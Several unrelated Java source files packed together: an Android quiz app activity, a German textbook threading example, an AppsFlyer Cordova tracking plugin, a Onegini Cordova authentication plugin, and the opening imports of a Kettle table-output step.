package lt.vumifps.undzenastest;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.os.Handler;
import android.util.Log;
import android.util.TypedValue;
import android.view.View;
import android.view.Window;
import android.widget.Button;
import android.widget.HorizontalScrollView;
import android.widget.ImageView;
import android.widget.LinearLayout;
import android.widget.ProgressBar;
import android.widget.ScrollView;
import android.widget.TextView;
import org.json.JSONException;
import org.json.JSONObject;
import java.util.Collections;
import java.util.LinkedList;
public class MainActivity extends Activity implements View.OnClickListener {
public static final String SHOULD_RANDOMIZE_KEY = "should_randomize";
public static final String QUIZ_JSON_KEY = "quiz_json";
private boolean shouldRandomize;
private TextView statsCorrectCountTextView;
private TextView statsIncorrectCountTextView;
private HorizontalScrollView imageScrollView;
private ImageView questionImage;
private long startTime;
private enum QuestionState {Unanswered, Correct, Wrong}
public static final String JSON_RES_ID_KEY = "json_res_id";
Quiz quiz, answeredWrong;
LinearLayout answerLayout;
ScrollView mainScrollView;
ProgressBar progressBar;
private TextView progressTextView, scoreTextView;
StatsManager statsManager;
int currentIndex;
int numberOfQuestions;
int correctCount = 0;
QuestionState questionState = QuestionState.Unanswered;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
this.requestWindowFeature(Window.FEATURE_NO_TITLE);
setContentView(R.layout.activity_main);
statsManager = new StatsManager(this);
answeredWrong = new Quiz(getString(R.string.wrongly_answered));
this.questionState = QuestionState.Unanswered;
Intent intent = getIntent();
int testNumber = intent.getIntExtra(MainActivity.JSON_RES_ID_KEY, -1);
shouldRandomize = intent.getBooleanExtra(MainActivity.SHOULD_RANDOMIZE_KEY, false);
String quizJsonString= intent.getStringExtra(MainActivity.QUIZ_JSON_KEY);
try {
JSONObject quizJsonObject = new JSONObject(quizJsonString);
quiz = new Quiz(quizJsonObject, testNumber);
currentIndex = 0;
numberOfQuestions = quiz.getNumberOfquestions();
progressBar = (ProgressBar) findViewById(R.id.progressBar);
progressBar.setMax(numberOfQuestions);
progressTextView = (TextView) findViewById(R.id.progressTextView);
scoreTextView = (TextView) findViewById(R.id.scoreTextView);
statsCorrectCountTextView = (TextView) findViewById(R.id.correctlyAnsweredNumberTextView);
statsIncorrectCountTextView = (TextView) findViewById(R.id.incorrectlyAnsweredNumberTextView);
updateScoreViews();
answerLayout = (LinearLayout) this.findViewById(R.id.answersLinearLayout);
mainScrollView = (ScrollView) this.findViewById(R.id.mainScrollView);
Button homeButton = (Button) this.findViewById(R.id.homeButton);
homeButton.setOnClickListener(this);
Button nextButton = (Button) this.findViewById(R.id.nextButton);
nextButton.setOnClickListener(this);
imageScrollView = (HorizontalScrollView) findViewById(R.id.questionImageScrollView);
questionImage = (ImageView) findViewById(R.id.questionImage);
showQuestion(quiz.getQuestion(0));
startTime = System.currentTimeMillis();
} catch (JSONException e) {
e.printStackTrace();
}
}
private void showQuestion(Question question) {
this.questionState = QuestionState.Unanswered;
TextView questionsTextView = (TextView) this.findViewById(R.id.questionTextView);
questionsTextView.setText(question.getQuestion());
LinkedList<Answer> answers = question.getAnswers();
Collections.shuffle(answers);
answerLayout.removeAllViews();
for (Answer answer : answers) {
AnswerTextView answerTextView = getAnswerTextView(answer);
answerLayout.addView(answerTextView);
}
if (question.getImageName() != null) {
imageScrollView.setVisibility(View.VISIBLE);
try {
int id = getResources().getIdentifier(question.getImageName(), "drawable", getPackageName());
questionImage.setImageResource(id);
} catch (Exception ex){
imageScrollView.setVisibility(View.GONE);
}
} else {
imageScrollView.setVisibility(View.GONE);
}
Handler handler = new Handler();
handler.postDelayed(new Runnable() {
@Override
public void run() {
mainScrollView.smoothScrollTo(0, 0);
}
}, 100);
}
private AnswerTextView getAnswerTextView(Answer answer) {
AnswerTextView answerTextView = new AnswerTextView(this);
answerTextView.setAnswer(answer);
LinearLayout.LayoutParams linearLayoutParams =
new LinearLayout.LayoutParams(LinearLayout.LayoutParams.MATCH_PARENT,
LinearLayout.LayoutParams.WRAP_CONTENT);
linearLayoutParams.setMargins(0, 10, 0, 10);
answerTextView.setTextSize(TypedValue.COMPLEX_UNIT_DIP, 20);
answerTextView.setLayoutParams(linearLayoutParams);
answerTextView.setOnClickListener(this);
return answerTextView;
}
@Override
public void onClick(View view) {
if (view instanceof AnswerTextView){
AnswerTextView answerTextView = (AnswerTextView) view;
if (this.questionState == QuestionState.Unanswered){
Question question = answerTextView.getAnswer().getParent();
if (answerTextView.isCorrect()){
this.questionState = QuestionState.Correct;
correctCount++;
} else {
this.questionState = QuestionState.Wrong;
answeredWrong.addQuestion(question);
}
}
}
updateScoreViews();
switch (view.getId()){
case R.id.nextButton:
if (this.questionState == QuestionState.Unanswered) {
Question question = quiz.getQuestion(currentIndex);
answeredWrong.addQuestion(question);
}
this.showNextQuestion();
progressBar.incrementProgressBy(1);
break;
case R.id.homeButton:
this.finish();
Intent homeIntent = new Intent(this, StartingActivity.class);
startActivity(homeIntent);
break;
}
}
private void showNextQuestion() {
if (questionState == QuestionState.Unanswered || questionState == QuestionState.Wrong) {
statsManager.increaseIncorrect(quiz.getQuestion(currentIndex));
} else {
statsManager.increaseCorrect(quiz.getQuestion(currentIndex));
}
currentIndex++;
if (currentIndex+1 > quiz.getNumberOfquestions()) {
currentIndex = 0;
long duration = System.currentTimeMillis() - startTime;
progressBar.setProgress(0);
Intent resultsIntent = new Intent(this, ResultsActivity.class);
String results = correctCount + "/" + numberOfQuestions;
resultsIntent.putExtra(ResultsActivity.RESULTS_KEY, results);
resultsIntent.putExtra(ResultsActivity.DURATION_KEY, duration);
resultsIntent.putExtra(ResultsActivity.WRONGLY_ANSWERED_QUESTIONS_JSON_KEY, this.answeredWrong.toJson().toString());
resultsIntent.putExtra(ResultsActivity.WAS_RANDOMIZED_KEY, this.shouldRandomize);
startActivity(resultsIntent);
finish();
} else {
showQuestion(quiz.getQuestion(currentIndex));
updateScoreViews();
}
}
private String getProgressText(int total, int current) {
return current + " / " + total;
}
private String getCurrentScoreText(int current) {
return "[" + current + "]";
}
private void updateScoreViews() {
scoreTextView.setText(getCurrentScoreText(correctCount));
progressTextView.setText(getProgressText(numberOfQuestions, currentIndex+1));
Question currentQuestion = quiz.getQuestion(currentIndex);
QuestionStatistics questionStatistics = statsManager.loadStats(
currentQuestion.getCustomUniqueId()
);
statsCorrectCountTextView.setText(
String.valueOf(questionStatistics.getAnsweredCorrectly())
);
statsIncorrectCountTextView.setText(
String.valueOf(questionStatistics.getAnsweredIncorrectly())
);
}
}
|
package grundkurs_java;
public class Chap18 {
public static void main(String[] args) {
// MehrmalsP.main(args);
// MehrmalsT.main(args);
TVProgAuslosung.main(args);
}
}
class TVProgAuslosung {
public static void main(String[] args) {
TVProgThread t1 = new TVProgThread("Wer wird Millionaer?");
TVProgThread t2 = new TVProgThread("Enterprise");
TVProgThread t3 = new TVProgThread("Nils Holgersson");
t1.start();
t2.start();
t3.start();
}
}
class TVProgThread extends Thread {
// Konstruktor
public TVProgThread(String name) {
super(name);
}
// run-Methode (Schleife mit Zufalls-Wartezeiten)
public void run() {
for (int i = 1; i <= 5; i++) {
System.out.println(getName() + " zum " + i + ". Mal");
try {
sleep((int) (Math.random() * 1000));
} catch (InterruptedException e) {
}
}
System.out.println(getName() + " FERTIG!");
}
}
class MehrmalsT {
public static void main(String[] args) {
ABCThread t1 = new ABCThread(), t2 = new ABCThread();
t1.start();
t2.start();
}
}
class ABCThread extends Thread {
public void run() {
for (char b = 'A'; b <= 'Z'; b++) {
// Gib den Buchstaben aus
System.out.print(b);
// Verbringe eine Sekunde mit "Nichtstun"
MachMal.eineSekundeLangGarNichts();
}
}
}
class MehrmalsP {
public static void main(String[] args) {
ABCPrinter p1 = new ABCPrinter(), p2 = new ABCPrinter();
p1.start();
p2.start();
}
}
class ABCPrinter {
public void run() {
for (char b = 'A'; b <= 'Z'; b++) {
// Gib den Buchstaben aus
System.out.print(b);
// Verbringe eine Sekunde mit "Nichtstun"
MachMal.eineSekundeLangGarNichts();
}
}
public void start() {
run();
}
}
class MachMal {
public static void eineSekundeLangGarNichts() {
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
Thread.currentThread().interrupt();
}
}
}
|
package com.appsflyer.cordova.plugin;
import android.net.Uri;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import org.apache.cordova.CallbackContext;
import org.apache.cordova.CordovaInterface;
import org.apache.cordova.CordovaPlugin;
import org.apache.cordova.CordovaWebView;
import org.apache.cordova.PluginResult;
import org.json.JSONObject;
import org.json.JSONArray;
import org.json.JSONException;
import com.appsflyer.AppsFlyerConversionListener;
import com.appsflyer.AppsFlyerLib;
import com.appsflyer.AppsFlyerProperties;
import com.appsflyer.CreateOneLinkHttpTask;
import com.appsflyer.share.CrossPromotionHelper;
import com.appsflyer.share.LinkGenerator;
import com.appsflyer.share.ShareInviteHelper;
import com.appsflyer.AppsFlyerTrackingRequestListener;
import android.app.Activity;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
import static com.appsflyer.cordova.plugin.AppsFlyerConstants.*;
public class AppsFlyerPlugin extends CordovaPlugin {
private CallbackContext mConversionListener = null;
private CallbackContext mAttributionDataListener = null;
private Map<String, String> mAttributionData = null;
private CallbackContext mInviteListener = null;
private Uri intentURI = null;
private Uri newIntentURI = null;
private Activity c;
@Override
public void initialize(CordovaInterface cordova, CordovaWebView webView) {
super.initialize(cordova, webView);
}
/**
* Called when the activity receives a new intent.
*/
@Override
public void onNewIntent(Intent intent) {
cordova.getActivity().setIntent(intent);
AppsFlyerLib.getInstance().sendDeepLinkData(cordova.getActivity());
}
@Override
public boolean execute(final String action, JSONArray args, CallbackContext callbackContext) throws JSONException {
Log.d("AppsFlyer", "Executing...");
if("setCurrencyCode".equals(action))
{
return setCurrencyCode(args);
}
else if("registerOnAppOpenAttribution".equals(action)){
return registerOnAppOpenAttribution(callbackContext);
}
else if("setAppUserId".equals(action))
{
return setAppUserId(args, callbackContext);
}
else if("getAppsFlyerUID".equals(action))
{
return getAppsFlyerUID(callbackContext);
}
else if ("setDeviceTrackingDisabled".equals(action)) {
return setDeviceTrackingDisabled(args);
}
else if ("stopTracking".equals(action)) {
return stopTracking(args);
}
else if("initSdk".equals(action))
{
return initSdk(args,callbackContext);
}
else if ("trackEvent".equals(action)) {
return trackEvent(args, callbackContext);
}
else if ("setGCMProjectID".equals(action)) {
return setGCMProjectNumber(args);
}
else if("enableUninstallTracking".equals(action))
{
return enableUninstallTracking(args, callbackContext);
}
else if ("updateServerUninstallToken".equals(action)) {
return updateServerUninstallToken(args, callbackContext);
}
else if ("setAppInviteOneLinkID".equals(action)) {
return setAppInviteOneLinkID(args, callbackContext);
}
else if ("generateInviteLink".equals(action)) {
return generateInviteLink(args, callbackContext);
}
else if ("trackCrossPromotionImpression".equals(action)) {
return trackCrossPromotionImpression(args, callbackContext);
}
else if ("trackAndOpenStore".equals(action)) {
return trackAndOpenStore(args, callbackContext);
}
else if("resumeSDK".equals(action))
{
return onResume(args, callbackContext);
}
return false;
}
private void trackAppLaunch() {
c = this.cordova.getActivity();
AppsFlyerLib.getInstance().sendDeepLinkData(c);
AppsFlyerLib.getInstance().trackEvent(c, null, null);
}
private boolean registerOnAppOpenAttribution(final CallbackContext callbackContext){
if(mAttributionDataListener == null) {
mAttributionDataListener = callbackContext;
}
return true;
}
/**
*
* @param args
* @param callbackContext
*/
private boolean initSdk(final JSONArray args, final CallbackContext callbackContext) {
String devKey = null;
boolean isConversionData;
boolean isDebug = false;
AppsFlyerConversionListener gcdListener = null;
AppsFlyerProperties.getInstance().set(AppsFlyerProperties.LAUNCH_PROTECT_ENABLED, false);
AppsFlyerLib instance = AppsFlyerLib.getInstance();
try{
final JSONObject options = args.getJSONObject(0);
devKey = options.optString(AF_DEV_KEY, "");
isConversionData = options.optBoolean(AF_CONVERSION_DATA, false);
if(devKey.trim().equals("")){
callbackContext.sendPluginResult(new PluginResult(PluginResult.Status.ERROR, NO_DEVKEY_FOUND));
}
isDebug = options.optBoolean(AF_IS_DEBUG, false);
if(options.has(AF_COLLECT_ANDROID_ID)){
AppsFlyerLib.getInstance().setCollectAndroidID(options.optBoolean(AF_COLLECT_ANDROID_ID, true));
}
if(options.has(AF_COLLECT_IMEI)){
AppsFlyerLib.getInstance().setCollectIMEI(options.optBoolean(AF_COLLECT_IMEI, true));
}
instance.setDebugLog(isDebug);
if(isDebug == true){
Log.d("AppsFlyer", "Starting Tracking");
}
if(isConversionData == true){
// if(mAttributionDataListener == null) {
// mAttributionDataListener = callbackContext;
if(mConversionListener == null){
mConversionListener = callbackContext;
}
gcdListener = registerConversionListener(instance);
}
else{
//callbackContext.success(SUCCESS);
}
instance.init(devKey, gcdListener, cordova.getActivity());
trackAppLaunch();
if (mConversionListener == null) {
instance.startTracking(c.getApplication(), devKey, new AppsFlyerTrackingRequestListener() {
@Override
public void onTrackingRequestSuccess() {
callbackContext.success(SUCCESS);
}
@Override
public void onTrackingRequestFailure(String s) {
callbackContext.success(FAILURE);
}
});
} else {
instance.startTracking(c.getApplication());
}
instance.startTracking(c.getApplication());
if(gcdListener != null){
sendPluginNoResult(callbackContext);
}
else{
//callbackContext.success(SUCCESS);
}
}
catch (JSONException e){
e.printStackTrace();
}
return true;
}
private AppsFlyerConversionListener registerConversionListener(AppsFlyerLib instance){
return new AppsFlyerConversionListener(){
@Override
public void onAppOpenAttribution(Map<String, String> attributionData) {
mAttributionData = attributionData;
intentURI = c.getIntent().getData();
handleSuccess(AF_ON_APP_OPEN_ATTRIBUTION, mAttributionData);
}
@Override
public void onAttributionFailure(String errorMessage) {
handleError(AF_ON_ATTRIBUTION_FAILURE, errorMessage);
}
@Override
public void onInstallConversionDataLoaded(Map<String, String> conversionData) {
handleSuccess(AF_ON_INSTALL_CONVERSION_DATA_LOADED, conversionData);
}
@Override
public void onInstallConversionFailure(String errorMessage) {
handleError(AF_ON_INSTALL_CONVERSION_FAILURE, errorMessage);
}
private void handleError(String eventType, String errorMessage){
try {
JSONObject obj = new JSONObject();
obj.put("status", AF_FAILURE);
obj.put("type", eventType);
obj.put("data", errorMessage);
sendEvent(obj);
} catch (JSONException e) {
e.printStackTrace();
}
}
private void handleSuccess(String eventType, Map<String, String> data){
try {
JSONObject obj = new JSONObject();
obj.put("status", AF_SUCCESS);
obj.put("type", eventType);
obj.put("data", new JSONObject(data));
sendEvent(obj);
} catch (JSONException e) {
e.printStackTrace();
}
}
private void sendEvent(JSONObject params) {
final String jsonStr = params.toString();
if(
( params.optString("type") == AF_ON_ATTRIBUTION_FAILURE
||params.optString("type") == AF_ON_APP_OPEN_ATTRIBUTION )
&& mAttributionDataListener != null)
{
PluginResult result = new PluginResult(PluginResult.Status.OK, jsonStr);
result.setKeepCallback(false);
mAttributionDataListener.sendPluginResult(result);
mAttributionDataListener = null;
}
else if(
(params.optString("type") == AF_ON_INSTALL_CONVERSION_DATA_LOADED
|| params.optString("type") == AF_ON_INSTALL_CONVERSION_FAILURE)
&& mConversionListener != null)
{
PluginResult result = new PluginResult(PluginResult.Status.OK, jsonStr);
result.setKeepCallback(false);
mConversionListener.sendPluginResult(result);
mConversionListener = null;
}
}
};
}
private boolean trackEvent(JSONArray parameters, final CallbackContext callbackContext) {
String eventName;
Map<String, Object> eventValues = null;
try{
eventName = parameters.getString(0);
if(parameters.length() >1 && !parameters.get(1).equals(null)){
JSONObject jsonEventValues = parameters.getJSONObject(1);
eventValues = jsonToMap(jsonEventValues.toString());
}
}
catch (JSONException e){
e.printStackTrace();
return true;
}
if(eventName == null || eventName.trim().length()==0){
callbackContext.sendPluginResult(new PluginResult(PluginResult.Status.ERROR, NO_EVENT_NAME_FOUND));
return true;
}
Context c = this.cordova.getActivity().getApplicationContext();
AppsFlyerLib.getInstance().trackEvent(c, eventName, eventValues);
return true;
}
private boolean setCurrencyCode(JSONArray parameters){
String currencyId=null;
try
{
currencyId = parameters.getString(0);
}
catch (JSONException e)
{
e.printStackTrace();
return true; //TODO error
}
if(currencyId == null || currencyId.length()==0)
{
return true; //TODO error
}
AppsFlyerLib.getInstance().setCurrencyCode(currencyId);
return true;
}
private boolean setAppUserId(JSONArray parameters, CallbackContext callbackContext){
try
{
String customeUserId = parameters.getString(0);
if(customeUserId == null || customeUserId.length()==0){
return true; //TODO error
}
AppsFlyerLib.getInstance().setAppUserId(customeUserId);
PluginResult r = new PluginResult(PluginResult.Status.OK);
r.setKeepCallback(false);
callbackContext.sendPluginResult(r);
}
catch (JSONException e)
{
e.printStackTrace();
return true; //TODO error
}
return true;
}
private boolean getAppsFlyerUID(CallbackContext callbackContext){
String id = AppsFlyerLib.getInstance().getAppsFlyerUID(cordova.getActivity().getApplicationContext());
PluginResult r = new PluginResult(PluginResult.Status.OK, id);
r.setKeepCallback(false);
callbackContext.sendPluginResult(r);
return true;
}
private boolean setDeviceTrackingDisabled(JSONArray parameters){
try
{
boolean isDisabled = parameters.getBoolean(0);
AppsFlyerLib.getInstance().setDeviceTrackingDisabled(isDisabled);
}
catch (JSONException e)
{
e.printStackTrace();
return true; //TODO error
}
return true;
}
private boolean stopTracking(JSONArray parameters){
try
{
boolean isStopTracking = parameters.getBoolean(0);
AppsFlyerLib.getInstance().stopTracking(isStopTracking, cordova.getActivity().getApplicationContext());
}
catch (JSONException e)
{
e.printStackTrace();
return true; //TODO error
}
return true;
}
private static Map<String,Object> jsonToMap(String inputString){
Map<String,Object> newMap = new HashMap<String, Object>();
try {
JSONObject jsonObject = new JSONObject(inputString);
Iterator iterator = jsonObject.keys();
while (iterator.hasNext()){
String key = (String) iterator.next();
newMap.put(key,jsonObject.getString(key));
}
} catch(JSONException e) {
return null;
}
return newMap;
}
@Deprecated
private boolean setGCMProjectNumber(JSONArray parameters) {
String gcmProjectId = null;
try {
gcmProjectId = parameters.getString(0);
} catch (JSONException e) {
e.printStackTrace();
}
if(gcmProjectId == null || gcmProjectId.length()==0){
return true;//TODO error
}
Context c = this.cordova.getActivity().getApplicationContext();
AppsFlyerLib.getInstance().setGCMProjectNumber(c, gcmProjectId);
return true;
}
private boolean updateServerUninstallToken(JSONArray parameters, CallbackContext callbackContext) {
String token = parameters.optString(0);
if (token != null && token.length() > 0) {
Context c = this.cordova.getActivity().getApplicationContext();
AppsFlyerLib.getInstance().updateServerUninstallToken(c,token);
callbackContext.success(SUCCESS);
return true;
}
else {
callbackContext.sendPluginResult(new PluginResult(PluginResult.Status.ERROR, "Not a valid token"));
}
return true;
}
private boolean enableUninstallTracking(JSONArray parameters, CallbackContext callbackContext){
String gcmProjectNumber = parameters.optString(0);
if(gcmProjectNumber == null || gcmProjectNumber.length()==0){
callbackContext.sendPluginResult(new PluginResult(PluginResult.Status.ERROR, NO_GCM_PROJECT_NUMBER_PROVIDED));
return true;
}
AppsFlyerLib.getInstance().enableUninstallTracking(gcmProjectNumber);
callbackContext.success(SUCCESS);
return true;
}
private boolean onResume(JSONArray parameters, CallbackContext callbackContext){
Intent intent = cordova.getActivity().getIntent();
newIntentURI = intent.getData();
if (newIntentURI != intentURI) {
if (mAttributionData != null) {
PluginResult r = new PluginResult(PluginResult.Status.OK, new JSONObject(mAttributionData).toString());
callbackContext.sendPluginResult(r);
mAttributionData = null;
} else {
mAttributionDataListener = callbackContext;
sendPluginNoResult(callbackContext);
}
intentURI = newIntentURI;
}
return true;
}
// USER INVITE
private boolean setAppInviteOneLinkID(JSONArray parameters, CallbackContext callbackContext) {
try {
String oneLinkID = parameters.getString(0);
if (oneLinkID == null || oneLinkID.length() == 0) {
return true; //TODO error
}
AppsFlyerLib.getInstance().setAppInviteOneLink(oneLinkID);
callbackContext.success(SUCCESS);
} catch (JSONException e) {
e.printStackTrace();
return true; //TODO error
}
return true;
}
private boolean generateInviteLink(JSONArray args, CallbackContext callbackContext) {
String channel = null;
String campaign = null;
String referrerName = null;
String referrerImageUrl = null;
String customerID = null;
String baseDeepLink = null;
try {
final JSONObject options = args.getJSONObject(0);
channel = options.optString(INVITE_CHANNEL, "");
campaign = options.optString(INVITE_CAMPAIGN, "");
referrerName = options.optString(INVITE_REFERRER, "");
referrerImageUrl = options.optString(INVITE_IMAGEURL, "");
customerID = options.optString(INVITE_CUSTOMERID, "");
baseDeepLink = options.optString(INVITE_DEEPLINK, "");
Context context = this.cordova.getActivity().getApplicationContext();
LinkGenerator linkGenerator = ShareInviteHelper.generateInviteUrl(context);
if (channel !=null && channel != ""){
linkGenerator.setChannel(channel);
}
if (campaign !=null && campaign != ""){
linkGenerator.setCampaign(campaign);
}
if (referrerName !=null && referrerName != ""){
linkGenerator.setReferrerName(referrerName);
}
if (referrerImageUrl !=null && referrerImageUrl != ""){
linkGenerator.setReferrerImageURL(referrerImageUrl);
}
if (customerID !=null && customerID != ""){
linkGenerator.setReferrerCustomerId(customerID);
}
if (baseDeepLink !=null && baseDeepLink != ""){
linkGenerator.setBaseDeeplink(baseDeepLink);
}
if (options.length() > 1 && !options.get("userParams").equals("")) {
JSONObject jsonCustomValues = options.getJSONObject("userParams");
Iterator<?> keys = jsonCustomValues.keys();
while( keys.hasNext() ) {
String key = (String)keys.next();
Object keyvalue = jsonCustomValues.get(key);
linkGenerator.addParameter(key, keyvalue.toString());
}
}
linkGenerator.generateLink(context, new inviteCallbacksImpl());
mInviteListener = callbackContext;
sendPluginNoResult(mInviteListener);
}
catch (JSONException e) {
callbackContext.sendPluginResult(new PluginResult(PluginResult.Status.ERROR, INVITE_FAIL));
}
return true;
}
private class inviteCallbacksImpl implements CreateOneLinkHttpTask.ResponseListener {
@Override
public void onResponse(String s) {
PluginResult result = new PluginResult(PluginResult.Status.OK, s);
result.setKeepCallback(false);
mInviteListener.sendPluginResult(result);
}
@Override
public void onResponseError(String s) {
}
}
// CROSS PROMOTION
public boolean trackCrossPromotionImpression(JSONArray parameters, CallbackContext callbackContext) {
String promotedAppId = null;
String campaign = null;
try {
final JSONObject options = parameters.getJSONObject(0);
promotedAppId = options.optString(PROMOTE_ID, "");
campaign = options.optString(INVITE_CAMPAIGN, "");
if (promotedAppId !=null && promotedAppId != "") {
Context context = this.cordova.getActivity().getApplicationContext();
CrossPromotionHelper.trackCrossPromoteImpression(context,promotedAppId,campaign);
}
else {
callbackContext.sendPluginResult(new PluginResult(PluginResult.Status.ERROR, "CrossPromoted App ID Not set"));
return true;
}
} catch (JSONException e) {
callbackContext.sendPluginResult(new PluginResult(PluginResult.Status.ERROR, "CrossPromotionImpression Failed"));
}
return true;
}
public boolean trackAndOpenStore(JSONArray parameters, CallbackContext callbackContext) {
String promotedAppId = null;
String campaign = null;
Map<String, String> userParams = null;
try {
promotedAppId = parameters.getString(0);
campaign = parameters.getString(1);
if (promotedAppId !=null && promotedAppId != "") {
Context context = this.cordova.getActivity().getApplicationContext();
if (!parameters.isNull(2)) {
Map<String,String> newUserParams = new HashMap<String,String>();
JSONObject usrParams = parameters.optJSONObject(2);
Iterator<?> keys = usrParams.keys();
while (keys.hasNext()) {
String key = (String) keys.next();
Object keyvalue = usrParams.get(key);
newUserParams.put(key,keyvalue.toString());
}
userParams = newUserParams;
}
CrossPromotionHelper.trackAndOpenStore(context,promotedAppId,campaign, userParams);
}
else {
callbackContext.sendPluginResult(new PluginResult(PluginResult.Status.ERROR, "CrossPromoted App ID Not set"));
return true;
}
} catch (JSONException e) {
callbackContext.sendPluginResult(new PluginResult(PluginResult.Status.ERROR, "CrossPromotion Failed"));
}
return true;
}
private void sendPluginNoResult(CallbackContext callbackContext) {
PluginResult pluginResult = new PluginResult(
PluginResult.Status.NO_RESULT);
pluginResult.setKeepCallback(true);
callbackContext.sendPluginResult(pluginResult);
}
}
|
package com.onegini;
import static com.onegini.OneginiConstants.AUTHORIZE_ACTION;
import static com.onegini.OneginiConstants.AWAIT_INITIALIZATION;
import static com.onegini.OneginiConstants.CHANGE_PIN_ACTION;
import static com.onegini.OneginiConstants.CHECK_IS_REGISTERED_ACTION;
import static com.onegini.OneginiConstants.CONFIRM_CURRENT_PIN_ACTION;
import static com.onegini.OneginiConstants.CONFIRM_CURRENT_PIN_CHANGE_PIN_ACTION;
import static com.onegini.OneginiConstants.CONFIRM_NEW_PIN_ACTION;
import static com.onegini.OneginiConstants.CONFIRM_NEW_PIN_CHANGE_PIN_ACTION;
import static com.onegini.OneginiConstants.DISCONNECT_ACTION;
import static com.onegini.OneginiConstants.FETCH_ANONYMOUS_ACTION;
import static com.onegini.OneginiConstants.FETCH_RESOURCE_ACTION;
import static com.onegini.OneginiConstants.INIT_PIN_CALLBACK_SESSION;
import static com.onegini.OneginiConstants.IN_APP_BROWSER_CONTROL_CALLBACK_SESSION;
import static com.onegini.OneginiConstants.LOGOUT_ACTION;
import static com.onegini.OneginiConstants.MOBILE_AUTHENTICATION_ACTION;
import static com.onegini.OneginiConstants.SETUP_SCREEN_ORIENTATION;
import static com.onegini.OneginiConstants.VALIDATE_PIN_ACTION;
import java.util.HashMap;
import java.util.Map;
import org.apache.cordova.CallbackContext;
import org.apache.cordova.CordovaInterface;
import org.apache.cordova.CordovaPlugin;
import org.apache.cordova.CordovaWebView;
import org.json.JSONArray;
import org.json.JSONException;
import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import android.view.View;
import android.view.WindowManager;
import com.onegini.actions.AuthorizeAction;
import com.onegini.actions.AwaitInitialization;
import com.onegini.actions.ChangePinAction;
import com.onegini.actions.CheckIsRegisteredAction;
import com.onegini.actions.DisconnectAction;
import com.onegini.actions.FetchResourceAction;
import com.onegini.actions.FetchResourceAnonymouslyAction;
import com.onegini.actions.InAppBrowserControlSession;
import com.onegini.actions.LogoutAction;
import com.onegini.actions.MobileAuthenticationAction;
import com.onegini.actions.OneginiPluginAction;
import com.onegini.actions.PinCallbackSession;
import com.onegini.actions.PinProvidedAction;
import com.onegini.actions.PluginInitializer;
import com.onegini.actions.SetupScreenOrientationAction;
import com.onegini.actions.ValidatePinAction;
import com.onegini.mobile.sdk.android.library.OneginiClient;
import com.onegini.mobile.sdk.android.library.model.OneginiClientConfigModel;
public class OneginiCordovaPlugin extends CordovaPlugin {
private static Map<String, Class<? extends OneginiPluginAction>> actions = new HashMap<String, Class<? extends OneginiPluginAction>>();
private OneginiClient oneginiClient;
private boolean shouldUseNativeScreens;
@Override
protected void pluginInitialize() {
populateActionsArray();
final PluginInitializer initializer = new PluginInitializer();
initializer.setup(this);
preventSystemScreenshots();
preventTextSelection();
}
public CordovaInterface getCordova() {
return cordova;
}
@Override
public boolean execute(final String action, final JSONArray args,
final CallbackContext callbackContext) throws JSONException {
if (actions.containsKey(action)) {
final OneginiPluginAction actionInstance = buildActionClassFor(action);
if (actionInstance == null) {
callbackContext.error("Failed to create action class for \"" + action + "\"");
return false;
}
actionInstance.execute(args, callbackContext, this);
return true;
}
callbackContext.error("Action \"" + action + "\" is not supported");
return false;
}
private void populateActionsArray() {
actions.put(AWAIT_INITIALIZATION, AwaitInitialization.class);
actions.put(INIT_PIN_CALLBACK_SESSION, PinCallbackSession.class);
actions.put(IN_APP_BROWSER_CONTROL_CALLBACK_SESSION, InAppBrowserControlSession.class);
actions.put(SETUP_SCREEN_ORIENTATION, SetupScreenOrientationAction.class);
actions.put(AUTHORIZE_ACTION, AuthorizeAction.class);
actions.put(CONFIRM_CURRENT_PIN_ACTION, PinProvidedAction.class);
actions.put(CONFIRM_NEW_PIN_ACTION, PinProvidedAction.class);
actions.put(CONFIRM_CURRENT_PIN_CHANGE_PIN_ACTION, PinProvidedAction.class);
actions.put(CONFIRM_NEW_PIN_CHANGE_PIN_ACTION, PinProvidedAction.class);
actions.put(VALIDATE_PIN_ACTION, ValidatePinAction.class);
actions.put(CHANGE_PIN_ACTION, ChangePinAction.class);
actions.put(FETCH_RESOURCE_ACTION, FetchResourceAction.class);
actions.put(FETCH_ANONYMOUS_ACTION, FetchResourceAnonymouslyAction.class);
actions.put(LOGOUT_ACTION, LogoutAction.class);
actions.put(DISCONNECT_ACTION, DisconnectAction.class);
actions.put(MOBILE_AUTHENTICATION_ACTION, MobileAuthenticationAction.class);
actions.put(CHECK_IS_REGISTERED_ACTION, CheckIsRegisteredAction.class);
}
private OneginiPluginAction buildActionClassFor(final String action) {
Class<? extends OneginiPluginAction> actionClass = actions.get(action);
try {
return actionClass.newInstance();
} catch (Exception e) {
}
return null;
}
@Override
public void onNewIntent(final Intent intent) {
final Uri callbackUri = intent.getData();
if (callbackUri == null) {
return;
}
final OneginiClientConfigModel configModel = getOneginiClient().getConfigModel();
if (configModel == null) {
return;
}
final String appScheme = configModel.getAppScheme();
if (callbackUri.getScheme().equals(appScheme)) {
getOneginiClient().handleAuthorizationCallback(callbackUri);
}
}
public void setOneginiClient(final OneginiClient oneginiClient) {
this.oneginiClient = oneginiClient;
}
public OneginiClient getOneginiClient() {
if (oneginiClient == null) {
throw new RuntimeException("client not initialized");
}
return oneginiClient;
}
public void setShouldUseNativeScreens(final boolean shouldUseNativeScreens) {
this.shouldUseNativeScreens = shouldUseNativeScreens;
}
public boolean shouldUseNativeScreens() {
return shouldUseNativeScreens;
}
/**
* Prevent system from taking app screenshot when going into background and showing the screenshot
* in the Task Manager.
*/
private void preventSystemScreenshots() {
getCordova().getActivity().getWindow().addFlags(WindowManager.LayoutParams.FLAG_SECURE);
}
/**
* Prevent system from showing copy/paste menu after long click in webview
*/
private void preventTextSelection() {
webView.getView().setOnLongClickListener(new View.OnLongClickListener() {
public boolean onLongClick(View v) {
return true;
}
});
}
}
|
package be.ibridge.kettle.trans.step.tableoutput;
import java.sql.PreparedStatement;
import java.text.SimpleDateFormat;
import java.util.Iterator;
import be.ibridge.kettle.core.Const;
import be.ibridge.kettle.core.Row;
import be.ibridge.kettle.core.database.Database;
import be.ibridge.kettle.core.exception.KettleDatabaseBatchException;
